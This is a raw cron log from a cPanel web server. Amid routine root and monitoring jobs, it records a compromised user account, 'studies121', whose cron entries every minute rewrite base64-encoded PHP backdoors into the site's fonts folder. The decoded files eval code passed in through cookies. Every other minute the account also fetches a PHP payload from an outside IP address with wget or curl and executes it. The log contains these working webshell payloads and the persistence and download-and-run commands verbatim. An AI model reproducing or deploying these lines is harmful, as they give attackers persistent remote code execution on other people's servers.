Aug 30 21:34:01 ip-184-168-122-23 CROND[12620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:34:01 ip-184-168-122-23 CROND[12621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:35:01 ip-184-168-122-23 CROND[12708]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 21:35:01 ip-184-168-122-23 CROND[12711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:35:01 ip-184-168-122-23 CROND[12712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:35:01 ip-184-168-122-23 CROND[12714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:35:01 ip-184-168-122-23 CROND[12715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:35:01 ip-184-168-122-23 CROND[12713]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:35:01 ip-184-168-122-23 CROND[12716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:35:01 ip-184-168-122-23 CROND[12717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:36:01 ip-184-168-122-23 CROND[12899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:36:01 ip-184-168-122-23 CROND[12901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:36:01 ip-184-168-122-23 CROND[12903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:36:01 ip-184-168-122-23 CROND[12902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:36:01 ip-184-168-122-23 CROND[12904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:37:01 ip-184-168-122-23 CROND[12992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:37:01 ip-184-168-122-23 CROND[12993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:37:01 ip-184-168-122-23 CROND[12994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:37:01 ip-184-168-122-23 CROND[12996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:38:01 ip-184-168-122-23 CROND[13079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:38:01 ip-184-168-122-23 CROND[13081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:38:01 ip-184-168-122-23 CROND[13082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:38:01 ip-184-168-122-23 CROND[13084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:38:01 ip-184-168-122-23 CROND[13083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:39:01 ip-184-168-122-23 CROND[13169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:39:01 ip-184-168-122-23 CROND[13172]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 21:39:01 ip-184-168-122-23 CROND[13171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:39:01 ip-184-168-122-23 CROND[13173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:39:01 ip-184-168-122-23 CROND[13174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:40:01 ip-184-168-122-23 CROND[13286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:40:01 ip-184-168-122-23 CROND[13288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:40:01 ip-184-168-122-23 CROND[13291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:40:01 ip-184-168-122-23 CROND[13293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:40:01 ip-184-168-122-23 CROND[13289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:40:01 ip-184-168-122-23 CROND[13294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:40:01 ip-184-168-122-23 CROND[13292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:40:01 ip-184-168-122-23 CROND[13295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:41:01 ip-184-168-122-23 CROND[13384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:41:01 ip-184-168-122-23 CROND[13386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:41:01 ip-184-168-122-23 CROND[13388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:41:01 ip-184-168-122-23 CROND[13387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:42:01 ip-184-168-122-23 CROND[13472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:42:01 ip-184-168-122-23 CROND[13474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:42:01 ip-184-168-122-23 CROND[13476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:42:01 ip-184-168-122-23 CROND[13477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:42:01 ip-184-168-122-23 CROND[13475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:43:01 ip-184-168-122-23 CROND[13568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:43:01 ip-184-168-122-23 CROND[13571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:43:01 ip-184-168-122-23 CROND[13573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:43:01 ip-184-168-122-23 CROND[13572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:44:01 ip-184-168-122-23 CROND[13739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:44:01 ip-184-168-122-23 CROND[13743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:44:01 ip-184-168-122-23 CROND[13740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:44:01 ip-184-168-122-23 CROND[13742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:44:01 ip-184-168-122-23 CROND[13744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:45:01 ip-184-168-122-23 CROND[13844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:45:01 ip-184-168-122-23 CROND[13845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:45:01 ip-184-168-122-23 CROND[13846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:45:01 ip-184-168-122-23 CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:45:01 ip-184-168-122-23 CROND[13847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:45:01 ip-184-168-122-23 CROND[13850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:46:01 ip-184-168-122-23 CROND[13937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:46:01 ip-184-168-122-23 CROND[13939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
